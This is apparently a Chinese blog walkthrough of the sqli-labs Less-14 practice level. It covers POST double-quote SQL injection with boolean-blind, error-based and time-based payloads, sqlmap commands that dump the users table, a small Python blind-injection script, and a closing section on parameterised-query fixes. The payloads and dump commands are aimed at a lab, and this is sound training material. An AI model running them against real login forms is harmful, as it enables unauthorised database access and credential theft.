SQL注入靶场Less-14实战:POST双引号闭合与布尔盲注全解析
发布时间:2026/9/25 3:09:01来源:尧图网络
很多人刷 sql-lab 的时候前面的关卡都是一路点点点就过到 Less-13 和 Less-14 突然发现“怎么不按套路出牌了”。Less-14 这个关卡表面看就是一个普通的登录框实际上它把 POST 参数、双引号闭合、布尔盲注和报错双注入叠在了一起专门用来磨你判断闭合和构造 payload 的手感。我自己当初就在这卡了一段时间一直拿单引号去测 uname结果半天没反应换成双引号去测 passwd 才恍然大悟。这个关卡很适合已经掌握基本注入思路、但还没形成系统化判断流程的人把 Less-14 从头到尾打通你基本就理清了“定位注入点→确认闭合方式→选择注入手法→提取数据”这一整条链路。1. 先搞清楚 Less-14 到底在考什么1.1 关卡在 sql-lab 里的位置Less-14 是 sqli-labs 中 POST 注入系列的第四个关卡。前面是 Less-11POST 单引号报错注入、Less-12POST 双引号加括号报错注入、Less-13POST 单引号双注入/盲注到 Less-14 就是 POST 双引号双注入。很多人把它当成 Less-13 的镜像关卡以为只是把单引号换成双引号就行其实从闭合方式到注入 payload 都要重调并不是“改个引号”这么简单。从攻击面来看Less-14 的核心考点有三个POST 请求、引号闭合、基于布尔的盲注或报错双注入。这里说的“双注入”来自 MySQL 老版本里count()floor(rand(0)*2)group by的报错技巧后来也泛指带子查询的报错注入。实际刷题时会遇到两种环境一种是 MySQL 版本较高extractvalue/updatexml还能用另一种是老版本只能走countfloor或者纯盲注。所以最好把两套 payload 都准备齐别等到了考场再临阵磨枪。这个关卡的适用人群是有一定基础的人你已经能独立完成 Less-1 到 Less-12知道单引号闭合、报错注入的基本玩法但还没有在 POST 场景下完整操作过。它不要求你背新函数而是要求你先在 Burp Suite 或 HackBar 里抓到 POST 请求再把注入语句从 URL 的查询参数搬到请求体的表单参数里。这一步转化对新手特别友好因为一旦你习惯了 POST 注入后面刷 Cookie 注入、Header 注入时思路就是通用的。1.2 核心查询语句与闭合方式Less-14 的登录逻辑核心 SQL 大体可以理解为$sql SELECT username, password FROM users WHERE username\$uname\ and password\$passwd\ LIMIT 0,1;关键信息有两个。第一用户名和密码都被双引号包着后端没有做参数化查询也没有过滤双引号。第二用户输入的uname和passwd来自 POST 请求体不是 URL 上的 GET 参数。这意味着你在浏览器地址栏里改 GET 参数完全没用必须去改表单数据或请求体。Less-11 到 Less-15 这几个 POST 关卡的闭合方式很容易混淆我整理了一张对照表关卡请求方式注入点位置闭合特征Less-11POSTuname / passwd单引号Less-12POSTuname / passwd双引号加括号Less-13POSTuname / passwd单引号双注入/盲注Less-14POSTpasswd双引号双注入/盲注Less-15POSTuname / passwd单引号布尔盲注很多人卡在 Less-14就是因为惯性思维“前面是单引号这个应该也是单引号”。如果你一直用去测当然怎么测都不对。Less-14 的关键是英文双引号你先把这个认知纠正过来后面就顺了。1.3 先判断注入点和闭合符判断注入点不需要一上来就跑大工具手动提交几个请求就够了。我用 Burp Suite 的 Repeater 分别提交unameadminpasswd unameadminpasswd unameadminpasswdad第一组和第二组很关键。提交passwd之后如果页面出现 SQL 语法错误等于直接告诉了你闭合符是双引号如果页面只显示“Login Failed”说明错误信息被关掉了需要结合后面的布尔差异来判断。我把两种可能都讲一下因为不同版本的 sql-lab 环境行为不完全一样有的会回显mysqli_error()有的不会。如果页面能回显报错你会看到类似You have an error in your SQL syntax; check the manual...这就锁定闭合符了。如果不能回显就继续提交一组对照 payloadunameadminpasswd AND 11 # unameadminpasswd AND 12 #第一组如果登录成功第二组登录失败说明双引号闭合生效而且这个关卡是布尔盲注风格。有个细节POST body 里的#在 Burp 中可以直接发但如果用 curl 或某些脚本#会被当成 URL 片段截断保险做法是把#写成%23。你还可以换成-- -注意 MySQL 里--后面必须带空格写成-- -是为了确保注释符生效。2. 手工注入的完整链路2.1 用布尔盲注判断库名确认了闭合方式之后手工提取数据一般都从数据库名开始。布尔盲注的思路很简单构造一个“条件为真就返回正常结果条件为假就返回失败”的表达式。因为整条查询被双引号包着所以 payload 可以写成unameadminpasswd AND ascii(substr(database(),1,1))115 #拆开看它实际执行效果passwd 的值是 AND ascii(substr(database(),1,1))115 #拼进 SQL 后密码位置变成了空字符串加一个 AND 条件。如果database()第一个字符的 ASCII 是 115也就是s整条 WHERE 成立页面显示登录成功否则查询结果为空页面显示失败。于是“猜一个字符”就变成了“看页面是两种结果中的哪一种”这就是盲注里的 oracle判定依据。为什么用ascii(substr())而不是直接比较substr(database(),1,1)s直接比较也可以但字符串比较容易受大小写、排序规则影响而且嵌套引号时容易把自己绕晕。用数字比较之后整个流程就变成了“猜数字”配合 Burp Intruder 或脚本速度会明显提升。实际操作时可以用二分法进一步提速。比如先判断ascii(substr(database(),1,1)) 100成立就继续在上半区间二分不成立就在下半区间二分。这样每个字符大约只需要 7 次左右的请求比逐个遍历 95 个可打印字符快得多。2.2 报错注入 payload 的两种选择如果当前环境能回显 MySQL 报错Less-14 完全可以走更快的报错注入。第一种是extractvalueunameadminpasswd AND extractvalue(1,concat(0x7e,(select database()),0x7e)) #执行时extractvalue会因为第二个参数不是合法 XPath 路径而抛出 XPATH syntax error报错内容里会带上0x7e也就是~和子查询的结果。于是数据库名就被“夹带”在错误信息里吐出来。updatexml的用法几乎一样unameadminpasswd AND updatexml(1,concat(0x7e,(select database()),0x7e),1) #注意extractvalue报错结果一般只会显示 32 个字符左右如果子查询结果太长比如group_concat一口气把好几张表名拼在一起内容会被截断。解决办法是用substr分段取或者用limit一条条看。第二种是课程名里说的“双注入”经典写法用count(*) floor(rand(0)*2) group by。payload 会长一些 AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2)) AS x FROM information_schema.tables GROUP BY x) y) #这个技巧的原理是floor(rand(0)*2)只返回 0 或 1而group by在分组时如果遇到重复 key就会触发主键冲突报错报错内容里正好包含随机数和子查询结果。它不依赖extractvalue所以老版本 MySQL 上兼容性更好。不过这个 payload 有个特点有时候第一次不报错要跑第二次才报错因为rand()的伪随机序列影响了执行顺序。手动测试时如果没反应多提交几次再看不要急着换思路。2.3 脱库的完整 payload 示例拿到数据库名之后继续往表名、列名、数据一层层剥。假设库名是security先查表 AND extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()))) #group_concat会把多个结果用逗号拼成一个字符串方便一次看到所有表名。sqli-labs 的库里通常有emails、referers、uagents、users这些表真正的目标一般是users。接着查users表的字段名 AND extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers))) #如果遇到引号嵌套问题把users写成十六进制0x7573657273这样整条 payload 里就不用引入新的单引号了。最后拖数据 AND extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users))) #0x3a是冒号的十六进制用来把用户名和密码拼成admin:password这种格式一眼就能看明白。Less-14 的完整手工流程就是这样先确认双引号闭合再选择报错或盲注最后逐层拖出库名、表名、字段名和数据。整个过程不复杂但每一步都需要想清楚“为什么”。3. SQLMap 自动化操作3.1 抓包与 --data 构造手工把链路打通之后再用 SQLMap 会事半功倍。因为我已经知道注入点在passwd闭合符是双引号SQLMap 拿到这些上下文后会跑得又快又准。第一步先在 Burp Suite 里把登录请求截住会看到类似这样的内容POST /sqli-labs/Less-14/ HTTP/1.1 Host: 192.168.x.x Content-Type: application/x-www-form-urlencoded unameadminpasswd123把请求保存下来或者直接把 URL 和 data 参数给 SQLMap。我习惯先只用--data不指定--forms。因为--forms会去解析页面表单多一次请求不说页面结构复杂时还会出幺蛾子。一个干净的起点命令是sqlmap -u http://192.168.x.x/sqli-labs/Less-14/ --dataunameadminpasswd123 -p passwd --batch --current-db-p passwd直接告诉 SQLMap 只测 password 参数省得它在uname上浪费时间。如果默认的注入类型跑不出来可以追加--level3 --risk2让 payload 覆盖更多场景。注意--level和--risk越高请求数越多本地靶机无妨真实环境一定要克制避免请求风暴打崩目标。3.2 常用参数与命令确认current-db是security后后面的操作基本是套模板sqlmap -u http://192.168.x.x/sqli-labs/Less-14/ --dataunameadminpasswd123 -p passwd --batch -D security --tables sqlmap -u http://192.168.x.x/sqli-labs/Less-14/ --dataunameadminpasswd123 -p passwd --batch -D security -T users --columns sqlmap -u http://192.168.x.x/sqli-labs/Less-14/ --dataunameadminpasswd123 -p passwd --batch -D security -T users -C username,password --dump分别对应列表、列字段、导数据。也可以--dump-all一把梭但本地靶场无所谓真实环境别这么干。SQLMap 在 POST 注入时有时会因为响应内容少、判定阈值苛刻而漏报碰到这种情况我会在请求头里补一个顺畅的User-Agent并加上--stringLogin Success这种显式判词让它根据页面里的关键词来判断真假比纯状态码判断靠谱得多。3.3 自动化结果如何验证SQLMap 跑完的结果不要直接全信尤其是盲注场景。我习惯拿一条代表性 payload 手工复现一遍。比如工具报告passwd是 boolean-based blind我就手动提交unameadminpasswd AND ascii(substr(database(),1,1))115 #如果页面确实有“成功/失败”的差异这一步才算闭环。为什么强调验证因为 SQLMap 偶尔会误判注入类型比如把某个参数报成“可注入”但实际上只是响应差异巧合。刷靶场的时候养成“工具出结果手工验一条”的习惯等以后面对真实环境你就会知道这个习惯能避免多少误报。4. 常见问题与排查实录4.1 用单引号测了好久都没反应Less-14 最坑的是闭合符是双引号。如果你一直拿去测uname或passwd会把引号闭合引到一个错误方向看起来“哪里不对”但和真正的注入路径是两条平行线。排查方法很简单把uname和passwd两个参数都逐对试一遍分别提交单引号、双引号、括号组合观察返回差异。我自己判断的顺序是先passwd再uname因为从关卡设计思路看出题人故意把 passwd 放在更容易碰的位置。另外注意 POST 请求里的编码问题。Burp Repeater 里直接写#一般没问题但用 curl 或某些脚本时#会被当作 URL 片段截断。遇到请求发出去之后内容不对先把#换成%23再看。同理如果 payload 里的双引号被前端 JS 转义就检查一下 Content-Type 和 Raw 请求体是否被正确提交别把“编码问题”当成“注入失败”。4.2 报错注入不回显数据如果你用了extractvalue却只看到空白或登录失败说明当前环境大概率把 PHP 错误显示关掉了或者数据库用户权限不够。sqli-labs 默认配置通常可以回显但一旦碰到改装版就要主动切到布尔盲注或时间盲注。另一个小坑是extractvalue、updatexml、floor这类关键词会被 WAF 或防护脚本过滤。靶场里一般没有但真实环境要准备好大小写混淆、内联注释等绕过手段这里不展开写绕过细节先把工具链跑通最重要。如果页面连“Login Success / Login Failed”这种可辨别文本都没有那就只能走时间盲注unameadminpasswd AND if(ascii(substr(database(),1,1))115,sleep(3),0) #页面延迟 3 秒说明条件成立。这个方式慢但几乎不会误判而且不依赖任何报错回显。4.3 盲注请求太多太慢布尔盲注一个字符要试很多次纯手工一个个测会怀疑人生。我在靶场里会直接写一个小脚本或者把每个字符的 ASCII 范围用二分法在 Burp Intruder 里跑。比如判断某个位置的字符时payload 写ascii(substr(database(),1,1))120通过返回差异判断区间再不断缩小区间。脚本思路也很简单用 Python requests 发 POST 请求把条件封装成函数循环判断即可import requests url http://192.168.x.x/sqli-labs/Less-14/ probe lambda cond: Login Success in requests.post( url, data{uname: admin, passwd: f AND {cond} #}, timeout10 ).text if probe(ascii(substr(database(),1,1))115): print(database name starts with: s)这个思路无论刷 Less-14 还是应对无法上工具的场景都很实用。核心是把“盲注”当成一个布尔函数的循环问题而不是一条一条手工猜。5. 从 Less-14 看防御修复5.1 参数化查询是从根源上解决问题Less-14 的问题不是双引号而是“把用户输入直接拼进 SQL”。只要这一步不改你用单引号、双引号、括号、反引号都只是换姿势打。修复方案就是参数化查询。以 PHP 为例用 PDO 的写法是$stmt $pdo-prepare(SELECT username, password FROM users WHERE username ? AND password ?); $stmt-execute([$uname, $passwd]);或者用 mysqli 的预处理$stmt $conn-prepare(SELECT username, password FROM users WHERE username ? AND password ?); $stmt-bind_param(ss, $uname, $passwd); $stmt-execute();这样用户输入只是被当作字符串值传到 SQL 引擎永远不可能改变 SQL 语句结构。我一直强调“先看源码再刷靶场”原因就在这里你只有知道后端是即时拼接才能在实际经验中形成条件反射看到用户名密码框就下意识想到“这里拼进了 SQL”。5.2 输入校验和最小权限兜底参数化查询之外还应该做纵深防御。比如用户名和密码字段加白名单校验只允许字母、数字和下划线数据库连接账号不要用 root给应用一个只对业务表有增删改查权限的最小账号同时在发布到公网前把 MySQL 报错信息关掉避免把语法错误细节直接吐给攻击者。Less-14 能被这么顺利地被一步步拖库一个重要原因就是数据库权限过大、报错太过透明。刷完这个关卡除了学到攻击手法更应该在防御侧建立一份对照检查清单是否做了参数化、是否限制数据库权限、是否关闭报错回显。6. 刷完 Less-14 之后还能做什么Less-14 做完后我建议你回过去把 Less-13 和 Less-15 拿出来对比。Less-13 是单引号Less-14 是双引号Less-15 又回到单引号但强调布尔盲注。三个连在一起刷你会发现判断闭合的流程可以固化成模板先确定参数位置再测引号再用AND 11/12区分布尔最后根据回显决定走报错还是盲注。这个模板比背 100 个 payload 有用得多。如果你是第一次接触 POST 注入一定要把 Burp Suite 的 Repeater 和 Intruder 练熟。Less-14 的请求结构非常简单是练习改写请求体的最佳样本。等你能不看教程走到--dump说明你已经把 GET 思路成功迁移到 POST这对后面刷 Cookie 注入、Header 注入同样成立。我个人刷到 Less-14 最大的体会是不要急着上工具先手工把 payload 的每一个字符看懂。尤其是extractvalue的报错价值在哪里、布尔盲注的判定条件是什么、#注释为什么能截断 SQL 尾部这些想清楚之后SQLMap 的命令才会从“魔法”变成“工具”。
网站建设高端定制企业官网